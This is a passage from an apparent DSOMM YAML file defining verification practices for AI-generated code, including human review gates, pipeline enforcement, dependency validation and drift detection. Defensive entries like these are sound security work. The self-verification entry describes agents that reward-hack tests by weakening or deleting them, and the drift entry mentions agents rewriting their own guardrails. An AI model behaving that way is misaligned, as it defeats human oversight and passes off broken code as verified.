+ url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C07-Model-Behavior.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C07: Model Behavior, Output Control and Safety Assurance. + - uuid: 51946a4b-c5bd-4126-9f47-81a8b8203b9b + name: garak + tags: + - ai + - red-teaming + - testing + url: https://github.com/NVIDIA/garak + description: |- + LLM vulnerability scanner which probes models and LLM-based applications for + prompt injection, jailbreaks, data leakage, toxic output and other weaknesses. + - uuid: 1fe01551-0268-47fa-b108-d4228fc8655a + name: PyRIT + tags: + - ai + - red-teaming + - testing + url: https://github.com/Azure/PyRIT + description: |- + Python Risk Identification Tool for generative AI: a framework to automate + adversarial testing (red teaming) of LLM-based applications. + - uuid: c323c3c8-cc9c-4620-9ea7-dbc69c3112ca + name: promptfoo + tags: + - ai + - red-teaming + - testing + url: https://github.com/promptfoo/promptfoo + description: |- + Test framework for LLM applications with automated red teaming + (prompt injection, jailbreaks, PII leakage) and CI integration for + regression testing of prompts, models and guardrails. + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: "Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for + identity,\naccess and content governance of autonomous AI agents along six + axes:\nidentification (shadow agents), authentication, authorization,\naudit/non-repudiation + (structured audit log with mandatory fields for\nthe causal chain, correlation + identifiers across multi-agent chains,\ntamper evidence via hash chaining + and write-once storage),\nprompt injection prevention and data flow tracking + \u2014 mapped to EU AI Act,\nGDPR, ISO 42001/27001 and NIST AI RMF." + - uuid: 7bae85fe-adab-4279-ad8d-df842ab922cf + name: OWASP AI Maturity Assessment (AIMA) + tags: + - ai + - documentation + url: https://owasp.org/www-project-ai-maturity-assessment/ + description: "Maturity model for AI systems (v1.0, August 2025) in the style + of the\nOWASP Software Assurance Maturity Model (SAMM), with eight domains:\nresponsible + AI, governance, data management, privacy, design,\nimplementation, verification + and operations. Each practice defines\nthree maturity levels with assessment + worksheets \u2014 usable to assess\nand plan the organizational maturity + around the AI activities of this\ndimension." + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 14.2.8 + iso27001-2022: + - 8.29 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Red%20Teaming/subsection/Regular%20automated%20AI%20red%20teaming + comments: "" + Verification: + Human review of AI generated specifications: + uuid: 09307f26-bf34-49c2-828e-649130876978 + description: "In AI-assisted development, human attention scales best at the\nspecification + level: one page of specification determines what all\ndownstream artifacts + \u2014 plans, code, tests \u2014 will contain, and an\nerror here is multiplied + into every one of them. Reviewing the\nspecification the AI works from (a + user story with acceptance\ncriteria, or the specify-phase artifact in spec-driven + development)\ncatches wrong intent, missing security requirements and wrong\nassumptions + before anything is generated. It is the first rung of\nthe human-oversight + ladder that continues with _Human review of AI\ngenerated plans_, _Human review + of AI generated code_ and _Human\napproval for irreversible AI agent actions_ + (Isolation)." + risk: "An AI assistant implements exactly what an unreviewed specification\nsays: + missing authorization requirements, absent abuse cases and\nwrong assumptions + are faithfully turned into plans, code and tests.\nLater code review rarely + catches this \u2014 reviewers check whether the\ncode matches the specification, + not whether the specification is\nright." + measure: |- + Require human review of the specification before AI-assisted + implementation starts: are the security acceptance criteria complete, + are scope and assumptions correct, is anything security-relevant + missing? In spec-driven workflows, make this review the gate of the + specify phase and keep the reviewed specification under version + control. + dependsOn: + - 923a2a23-d63b-421c-926a-191d1dd5f570 # Spec-driven development + assessment: | + - Show a recent specification an AI assistant worked from and its documented human review before implementation started. + - Show that the review checked the security acceptance criteria (e.g. review comments or a checklist). + - In spec-driven workflows: show that the specify phase cannot be left without the review gate. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 5 + level: 1 + tags: + - ai + - verification + - human-review + implementation: + - uuid: 8077812b-e320-4435-9afb-e1e334314abf + name: The New SDLC With Vibe Coding (Google whitepaper) + tags: + - ai + - guidance + - documentation + url: https://addyosmani.com/blog/new-sdlc-vibe-coding/ + description: |- + Google whitepaper (Osmani, Saboo, Kartakis) distinguishing vibe coding + from agentic engineering: specs, guardrails, evals and review as the + "harness" around the model, phase-specific context engineering, evals in + CI, traces of every agent run and scoped per-agent permissions as the + production substrate. + - uuid: 71db66a9-8b71-48e4-9b96-1695ed1062a2 + name: GitHub Spec Kit + tags: + - ai + - guidance + - framework + url: https://github.com/github/spec-kit + description: |- + Toolkit for spec-driven development with AI coding assistants: work is + split into explicit specify, plan, tasks and implement steps, each with + its own instructions loaded into the model context. + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + references: + samm2: + - D-SR-A-1 + iso27001-2017: + - 14.1.1 + iso27001-2022: + - 8.26 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/Human%20review%20of%20AI%20generated%20specifications + comments: "" + Human review of AI generated plans: + uuid: 1bd1308d-ae3b-499a-ae81-818993571f52 + description: "Between specification and code sits the plan: which components + are\ntouched, which dependencies are added, how the security requirements\nwill + be implemented. Reviewing the AI-generated plan catches\ndesign-level flaws + \u2014 a dropped security requirement, an insecure\ndesign choice, an unnecessary + new dependency, changes to\nsecurity-critical components \u2014 while they + are still one line in a\nplan instead of hundreds of generated lines of code. + In spec-driven\ndevelopment this is the gate of the plan phase; agents also + propose\nplans outside formal workflows (e.g. a plan mode) that can be\nreviewed + the same way." + risk: "The AI-generated plan silently drops security requirements from the\nspecification, + chooses an insecure design or pulls in avoidable\ndependencies. The agent + then generates large amounts of code against\nthe flawed plan, and code reviewers + \u2014 biased by plausible-looking\ncode \u2014 verify the implementation + against the plan instead of\nquestioning the plan itself." + measure: |- + Require human review of the plan before AI-assisted implementation: + verify that every security requirement from the specification is + carried through, that security-relevant design decisions are + justified and that changes to security-critical components are + flagged for deeper review. In spec-driven workflows, make this + review the gate of the plan phase and keep the reviewed plan under + version control. + dependsOn: + - 09307f26-bf34-49c2-828e-649130876978 # Human review of AI generated specifications + - 923a2a23-d63b-421c-926a-191d1dd5f570 # Spec-driven development + assessment: | + - Show a recent AI-generated plan and its documented human review before implementation. + - Show that the review traced the security requirements from the specification into the plan. + - Show how plans touching security-critical components are flagged for deeper review. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - verification + - human-review + implementation: + - uuid: 8077812b-e320-4435-9afb-e1e334314abf + name: The New SDLC With Vibe Coding (Google whitepaper) + tags: + - ai + - guidance + - documentation + url: https://addyosmani.com/blog/new-sdlc-vibe-coding/ + description: |- + Google whitepaper (Osmani, Saboo, Kartakis) distinguishing vibe coding + from agentic engineering: specs, guardrails, evals and review as the + "harness" around the model, phase-specific context engineering, evals in + CI, traces of every agent run and scoped per-agent permissions as the + production substrate. + - uuid: 71db66a9-8b71-48e4-9b96-1695ed1062a2 + name: GitHub Spec Kit + tags: + - ai + - guidance + - framework + url: https://github.com/github/spec-kit + description: |- + Toolkit for spec-driven development with AI coding assistants: work is + split into explicit specify, plan, tasks and implement steps, each with + its own instructions loaded into the model context. + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + - uuid: fd0f282b-a065-4464-beed-770c604a5f52 + name: Threat Modeling Playbook + tags: + - owasp + - defender + - threat-modeling + - whiteboard + url: https://github.com/Toreon/threat-model-playbook + references: + samm2: + - D-SR-A-1 + iso27001-2017: + - 14.2.1 + iso27001-2022: + - 8.25 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/Human%20review%20of%20AI%20generated%20plans + comments: "" + No verification bypass for AI generated code: + uuid: c548df0b-0964-4fad-9f98-28fcd7442011 + description: |- + Automated security testing of source code and running applications (SAST, + DAST, SCA) is defined in the _Test and Verification_ dimension and applies + to all code regardless of its author. This activity does not duplicate those + activities; it ensures AI-generated code cannot reach production on a path + that skips them (e.g. agent-pushed commits, auto-merge bots, generated + infrastructure code outside the pipeline). + risk: |- + AI agents and code generation workflows introduce alternative paths to + production (direct pushes, auto-merges, generated artifacts) that bypass the + established SAST/DAST/SCA gates, so AI-generated vulnerabilities are never + scanned. + measure: |- + Enforce that every AI-generated change goes through the same defined build + and security testing pipeline as human-written code. Verify branch + protection and pipeline gates cannot be bypassed by agent identities. + dependsOn: + - f6f7737f-25a9-4317-8de2-09bf59f29b5b # Defined build process + - 6c05c837-8c99-46e2-828b-7c903e27dba4 # Static analysis for important server side components + - 07796811-37f9-467c-9ff2-48f346e77ff3 # Simple Scan + assessment: | + - Show the branch protection and pipeline gates and that agent identities cannot bypass them (e.g. no direct-push or auto-merge exceptions). + - Show for a sample of recent AI-generated changes that each went through the full security testing pipeline. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - verification + implementation: + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + - uuid: b4bfead3-5fb6-4dd0-ba44-5da713bd22e4 + name: CI/CD tools + tags: + - ci-cd + url: https://martinfowler.com/articles/continuousIntegration.html + description: CI/CD tools such as jenkins, gitlab-ci or github-actions + - uuid: 99211481-de9c-4358-880e-628366416a27 + name: About protected branches + url: https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches + tags: + - source-code-protection + - scm + references: + samm2: + - I-SB-A-1 + iso27001-2017: + - 14.2.2 + iso27001-2022: + - 8.32 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/No%20verification%20bypass%20for%20AI%20generated%20code + comments: "" + Self-verification of AI generated changes: + uuid: 63e82b31-4167-480d-a22b-baf8ef79af61 + description: "An agent that edits code and stops is a liability; the value is + in\nclosing the loop against ground truth. The agent runs the project's own\nchecks + \u2014 tests, type checker, linter, build \u2014 in its sandbox after each\nchange + and iterates until they pass (\"run tests until green\") or a\nbudget stops + the loop. \"I changed the code\" becomes \"the change passes\nthe suite\". + The flip side is reward hacking: an agent optimizing for a\ngreen suite may + weaken assertions, delete failing tests or hardcode\nexpected values instead + of fixing the code." + risk: |- + Unverified AI changes are delivered as plausible-looking code that does + not build or breaks behavior. Conversely, an agent iterating to green + without guardrails games the tests (weakened or deleted tests, hardcoded + results), so a passing suite no longer means correct code. + measure: |- + Require AI agents to verify their changes against the project's own + checks before presenting them, and guard the loop against test + manipulation: compare test results against a recorded baseline, treat + any modification of test code as review-critical, and re-run the full + suite in the pipeline independent of the agent's environment. + dependsOn: + - f6f7737f-25a9-4317-8de2-09bf59f29b5b # Defined build process + - eb2c7f9d-d0bd-4253-a2ba-cff2ace4a075 # Security unit tests for important components + assessment: | + - Show the agent workflow or configuration that runs the project's own checks (tests, type checker, linter, build) before changes are presented. + - Show the guardrails against test manipulation: baseline comparison of test results, review flags on modified test code and an independent re-run of the suite in the pipeline. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 2 + usefulness: 5 + level: 2 + tags: + - ai + - verification + - testing + implementation: + - uuid: 8077812b-e320-4435-9afb-e1e334314abf + name: The New SDLC With Vibe Coding (Google whitepaper) + tags: + - ai + - guidance + - documentation + url: https://addyosmani.com/blog/new-sdlc-vibe-coding/ + description: |- + Google whitepaper (Osmani, Saboo, Kartakis) distinguishing vibe coding + from agentic engineering: specs, guardrails, evals and review as the + "harness" around the model, phase-specific context engineering, evals in + CI, traces of every agent run and scoped per-agent permissions as the + production substrate. + - uuid: 0acdc0ea-dbe2-4bcf-9a6c-34fb1c2989a5 + name: 'AI Coding Agent CLI design: Verify & Iterate' + tags: + - ai + - verification + - testing + - documentation + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/verify + description: |- + System-design walkthrough of the agent verification loop: a dedicated + check runner executes the project's tests, typechecker, linter and build + in the sandbox, diffs against a baseline and iterates until green, with + git checkpoints and the reviewed diff as the human gate. + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 14.2.8 + iso27001-2022: + - 8.29 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/Self-verification%20of%20AI%20generated%20changes + comments: "" + Static and dynamic analysis of AI generated code: + uuid: 10362082-f48f-4218-be08-4ab78e589df0 + description: "Static and dynamic security testing (SAST, DAST, software composition\nanalysis) + is defined in the _Test and Verification_ dimension and is\nauthor-agnostic + \u2014 this activity references those activities for\nAI-generated code instead + of duplicating them. The AI-specific delta\nis coverage and pace: AI agents + produce code in places classic scan\nscopes miss (generated infrastructure + code, scripts, one-off tools)\nand at a rate that makes scanning inside the + development loop (e.g.\nthe agent running the static analysis itself during\nself-verification) + more important than for human-written code.\nComplementary: _No verification + bypass for AI generated code_ ensures\nno delivery path skips these scans." + risk: "AI-generated code reproduces insecure patterns from training data at\nscale. + If static and dynamic analysis does not cover all AI-produced\nartifacts, + typical vulnerabilities (injection, insecure defaults,\nhardcoded secrets) + ship unnoticed \u2014 faster and in higher volume than\nwith human-written + code." + measure: |- + Apply the established static and dynamic security analysis to all + AI-generated code and artifacts. Include AI-produced infrastructure + code and scripts in the scan scope and surface findings inside the + AI-assisted development loop, so agents can fix them before human + review. + dependsOn: + - 6c05c837-8c99-46e2-828b-7c903e27dba4 # Static analysis for important server side components + - 07796811-37f9-467c-9ff2-48f346e77ff3 # Simple Scan + assessment: | + - Show that the scan scope includes AI-produced artifacts such as generated infrastructure code and scripts. + - Show a recent AI-generated change where static analysis findings were surfaced and fixed inside the AI-assisted development loop. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 4 + level: 2 + tags: + - ai + - verification + - testing + implementation: + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + - uuid: 0acdc0ea-dbe2-4bcf-9a6c-34fb1c2989a5 + name: 'AI Coding Agent CLI design: Verify & Iterate' + tags: + - ai + - verification + - testing + - documentation + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/verify + description: |- + System-design walkthrough of the agent verification loop: a dedicated + check runner executes the project's tests, typechecker, linter and build + in the sandbox, diffs against a baseline and iterates until green, with + git checkpoints and the reviewed diff as the human gate. + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 14.2.8 + iso27001-2022: + - 8.29 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/Static%20and%20dynamic%20analysis%20of%20AI%20generated%20code + comments: "" + Validation of AI-suggested dependencies: + uuid: df2db3f4-bae6-448e-844e-9562a4eabc39 + description: |- + AI assistants hallucinate package names: research found around 20% of + dependencies suggested by LLMs do not exist. Attackers register these + names ("slopsquatting") or typo-variants on public registries, so blindly + installing AI-suggested packages imports attacker-controlled code. + + Automate the checks so they do not depend on developer discipline: + + - **Enforce a minimum OpenSSF Scorecard score** for new + dependencies, e.g. as a policy check in a pull-through proxy like an artifact registry or in the pull request + pipeline. Scorecard rates projects on maintenance, code review, + branch protection, dangerous workflows and vulnerability + handling; a threshold (e.g. score >= 5) filters low-hygiene and + abandoned packages before a human even reviews them. + - **Verify identity and existence**: does the package match the + intended project (publisher, source repository, age, download + counts)? Hallucinated and slopsquatted names fail exactly these + checks; tools like packj flag them automatically. + - **Gate before merge**: run the established software composition + analysis and the artifact repository policy on the change that + adds the dependency, so a malicious or compromised version never + enters the build. + risk: |- + A developer installs an AI-suggested package that is hallucinated, + typo-squatted or malicious. The package executes attacker code during + install or at runtime and compromises the application and build + environment. + measure: |- + Verify every AI-suggested dependency before adoption: check that the + package exists, is the intended one (name, publisher, repository), is + actively maintained and passes the established software composition + analysis. Prefer dependencies already used in the organization. + dependsOn: + - d918cd44-a972-43e9-a974-eff3f4a5dcfe # Software Composition Analysis (server side) + assessment: | + - Show the documented verification steps for adopting a new dependency and a recent example of an AI-suggested package that was checked (or rejected). + - Show that software composition analysis covers AI-suggested packages before merge. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - verification + - sca + implementation: + - uuid: dc09e3c6-30af-4acc-8b8d-297078ce4298 + name: 'OWASP AISVS C06: Supply Chain Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C06-Supply-Chain.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C06: Supply Chain Security. + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + - uuid: 5d8b27ac-286e-47a5-b23f-769eb6d74e4a + name: packj + tags: + - OpenSource + - Supply Chain + - vulnerability + url: https://github.com/ossillate-inc/packj + description: | + Packj is a tool to detect software supply chain attacks. It can detect malicious, vulnerable, abandoned, typo-squatting, and other "risky" packages from popular open-source package registries, such as NPM, RubyGems, and PyPI. + - uuid: 4a5296a6-4d8f-4b97-902b-f04722438a66 + name: OpenSSF Scorecard + tags: + - supply-chain + - sca + - tool + url: https://github.com/ossf/scorecard + description: |- + Automated rating of open source projects on supply chain security + practices (maintenance, code review, branch protection, dangerous + workflows, vulnerability handling). Usable as a policy gate: require a + minimum score before a new dependency may be adopted. + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 14.2.5 + iso27001-2022: + - 8.27 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/Validation%20of%20AI-suggested%20dependencies + comments: "" + Human review of AI generated code: + uuid: d6bc0b7f-fd98-49fe-b66c-7c5fa70452c6 + description: "AI-generated code is plausible-looking by construction and often + accepted\nwithout scrutiny (\"automation bias\"). It must be treated like + code from an\nuntrusted contributor: a human with knowledge of the codebase + reviews it\nbefore it is merged. The upstream reviews of specification and + plan\n(_Human review of AI generated specifications_, _Human review of AI\ngenerated + plans_) reduce what code review must catch, and the\nautomated gates (_Self-verification + of AI generated changes_, _Static\nand dynamic analysis of AI generated code_) + filter mechanical\nfindings \u2014 but neither replaces this activity: agents + deviate from\napproved plans, so the code remains the last artifact gate before\nmerge." + risk: |- + AI-generated code containing subtle logic flaws, insecure defaults or + hallucinated/typo-squatted dependencies is merged unreviewed because it + "looks right" and compiles. + measure: |- + Require human review for all AI-generated changes before merge. Reviewers are + accountable for the change as if they had written it. AI agents must not be + able to approve or merge their own pull requests. + dependsOn: + - 45f722b2-25b4-472a-a743-f7207a77b5c9 # Least privilege on external systems for AI agents + assessment: | + - Show branch protection requiring human review before merge and that agent identities cannot approve or merge their own pull requests. + - Show recent reviews of AI-generated changes and who is accountable for them. + difficultyOfImplementation: + knowledge: 2 + time: 3 + resources: 1 + usefulness: 5 + level: 3 + tags: + - ai + - verification + - human-review + implementation: + - uuid: 8077812b-e320-4435-9afb-e1e334314abf + name: The New SDLC With Vibe Coding (Google whitepaper) + tags: + - ai + - guidance + - documentation + url: https://addyosmani.com/blog/new-sdlc-vibe-coding/ + description: |- + Google whitepaper (Osmani, Saboo, Kartakis) distinguishing vibe coding + from agentic engineering: specs, guardrails, evals and review as the + "harness" around the model, phase-specific context engineering, evals in + CI, traces of every agent run and scoped per-agent permissions as the + production substrate. + - uuid: f2966f4c-38b2-4dbf-95a4-6f0a8fc15ae3 + name: Google DeepMind AI Control Roadmap + tags: + - ai + - monitoring + - threat + - documentation + url: https://storage.googleapis.com/deepmind-media/DeepMind.com/Blog/securing-the-future-of-ai-agents/gdm-ai-control-roadmap.pdf + description: "Roadmap for controlling potentially misaligned AI agents: treats + agents\nas untrusted principals and layers system-level defences \u2014 + TRAIT&R threat\ntaxonomy (based on MITRE ATT&CK), action/chain-of-thought + monitoring,\npull-request monitoring, UEBA anomaly detection, honeypots + and tiered\nprevention/response up to shutdown infrastructure." + - uuid: 0acdc0ea-dbe2-4bcf-9a6c-34fb1c2989a5 + name: 'AI Coding Agent CLI design: Verify & Iterate' + tags: + - ai + - verification + - testing + - documentation + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/verify + description: |- + System-design walkthrough of the agent verification loop: a dedicated + check runner executes the project's tests, typechecker, linter and build + in the sandbox, diffs against a baseline and iterates until green, with + git checkpoints and the reviewed diff as the human gate. + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + - uuid: 99211481-de9c-4358-880e-628366416a27 + name: About protected branches + url: https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches + tags: + - source-code-protection + - scm + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 14.2.3 + iso27001-2022: + - 8.29 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/Human%20review%20of%20AI%20generated%20code + comments: "" + Security test generation with AI: + uuid: fea96e68-de10-4a62-9df0-4727f700a4a0 + description: |- + AI assistants can generate security-focused test cases (abuse cases, + authorization tests, input fuzzing, tests derived from threat models and + acceptance criteria) alongside the implementation, increasing security + test coverage at low cost. + risk: |- + Security requirements are implemented but never tested, because writing + security tests manually is perceived as too expensive. Regressions in + security controls go unnoticed. + measure: |- + Use AI assistants to generate security test cases from security acceptance + criteria and threat models (e.g. negative tests, authorization matrices, + injection payloads). Review generated tests like any other AI-generated + code and run them in the delivery pipeline. + dependsOn: + - 1caad69c-316c-422a-a56b-04ad6f6cc306 # Threat modeling rule + - d6bc0b7f-fd98-49fe-b66c-7c5fa70452c6 # Human review of AI generated code + assessment: | + - Show security test cases generated from acceptance criteria or threat models and their human review. + - Show the generated tests running in the delivery pipeline. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 3 + level: 3 + tags: + - ai + - verification + - testing + implementation: + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 14.2.8 + iso27001-2022: + - 8.29 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/Security%20test%20generation%20with%20AI + comments: "" + Continuous detection of compromised AI components: + uuid: db390bba-3a49-4b1f-9982-c7d79fe88ea1 + description: |- + Trust evaluation at adoption time (see _Evaluation of the trust of + used AI components_) does not catch compromise that happens + afterwards: AI components can be hijacked later like any other + dependency, e.g. through a compromised publisher account or a + malicious update. The basis is _Test for compromised components_ + (Test and Verification, Static depth for applications); behavioral + classification registries extend it to AI components by assigning + stable identifiers and behavioral fingerprints to skill files, MCP + servers and agent plugins, so compromised or deviating components can + be identified and blocked like compromised packages. + risk: |- + An approved AI component (skill, MCP server, plugin, model) is + compromised after its adoption, e.g. via a hijacked maintainer + account. The malicious update runs with the agent's privileges and + remains trusted, because it was vetted once and is never re-checked. + measure: |- + Continuously check the inventory of approved AI components against + compromise intelligence: match components and versions against + behavioral classification registries and compromise advisories, + alert on deviations between declared and observed behavior and + quarantine affected components analogous to _Test for compromised + components_. + dependsOn: + - 399c5b7f-1310-4841-89f7-16daff2fe3ef # Evaluation of the trust of used AI components + - 9c776b4e-5895-4040-b63b-c74236ec71b3 # Test for compromised components + assessment: | + - Show how the inventory of approved AI components is matched against compromise intelligence (e.g. a behavioral classification registry) and how often. + - Show the alerting and quarantine process and what happened on the last hit or test. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 2 + usefulness: 4 + level: 4 + tags: + - ai + - verification + - inventory + implementation: + - uuid: cfa3a117-76ec-4265-89e3-794b980854fe + name: 'AVE: Behavioral classification registry' + tags: + - ai + - supply-chain + - inventory + url: https://ave.bawbel.io/ + description: |- + Agentic Vulnerability Enumeration (AVE), a behavioral classification + registry for agentic AI components: stable identifiers, AIVSS scores + and behavioral fingerprints for skill files, MCP servers and agent + plugins, mapped to OWASP and MITRE ATLAS. + - uuid: 70da74e9-806d-4db4-b3a7-9c5717060ed8 + name: OpenSSF Malicious Packages + tags: + - supply-chain + - sca + - documentation + url: https://github.com/ossf/malicious-packages + description: |- + Open database of reported malicious and compromised open source + packages in OSV format. Usable as a blocklist feed for artifact + repositories and dependency scanners. + - uuid: dc09e3c6-30af-4acc-8b8d-297078ce4298 + name: 'OWASP AISVS C06: Supply Chain Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C06-Supply-Chain.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C06: Supply Chain Security. + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 15.1.1 + iso27001-2022: + - 5.19 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/Continuous%20detection%20of%20compromised%20AI%20components + comments: "" + Drift detection for agent instructions and guardrails: + uuid: 30e29dfc-2bb8-4fe1-bc7e-b3a9ade1ee9e + description: "_Protection of agent memory against poisoning_ puts system prompts,\nrule + files and guardrail configurations under version control and\nreview \u2014 + drift detection continuously verifies that what runs in\nproduction still + matches the approved state. Deployed instructions\nand guardrails can be changed + past the review process: through a\nquick hotfix, direct console access, a + compromised pipeline or an\nagent writing to its own configuration. Comparing + hashes of the\nnormalized deployed content against the last approved repository\nversion + detects such silent changes. The generic detection of\nconfiguration drift + in production is defined in _Drift detection for\ndeployed configuration_ + (Build and Deployment) \u2014 this activity\nextends it to the content assets + that determine agent behavior." + risk: "A system prompt or guardrail configuration is modified outside the\nreview + process \u2014 by an attacker, by an agent altering its own\ninstructions + or by a well-meant manual hotfix. The deployed agent\nbehaves differently + from the reviewed state, loosened guardrails are\nnever tightened again (\"configuration + drift\") and nobody notices,\nbecause the repository still looks correct." + measure: |- + Compare the deployed state of agent instructions (system prompts, + rule files) and guardrail configurations against the last approved + repository version on a schedule (at every deployment and at least + daily) using hashes of normalized content. Alert on every deviation, + treat drift of instructions or guardrails as a security incident with + high priority, and either restore the approved version or formally + re-approve the change. Document known runtime transformations as + normalization exceptions to keep the false-positive rate low. + dependsOn: + - 106622af-8969-4d9b-81ad-86d8e2bfd631 # Protection of agent memory against poisoning + - 9cba815f-02d2-4b06-a11f-7f28580e135a # Drift detection for deployed configuration + assessment: | + - Show the drift detection mechanism (hash comparison of normalized content), its schedule and the covered assets (system prompts, rule files, guardrail configurations). + - Demonstrate that an out-of-band change to a deployed system prompt or guardrail raises an alert within the scan cycle. + - Show how the last drift alert was handled (restore or formal re-approval) and the documented normalization exceptions. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 2 + usefulness: 4 + level: 5 + tags: + - ai + - verification + implementation: + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: "Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for + identity,\naccess and content governance of autonomous AI agents along six + axes:\nidentification (shadow agents), authentication, authorization,\naudit/non-repudiation + (structured audit log with mandatory fields for\nthe causal chain, correlation + identifiers across multi-agent chains,\ntamper evidence via hash chaining + and write-once storage),\nprompt injection prevention and data flow tracking + \u2014 mapped to EU AI Act,\nGDPR, ISO 42001/27001 and NIST AI RMF." + - uuid: 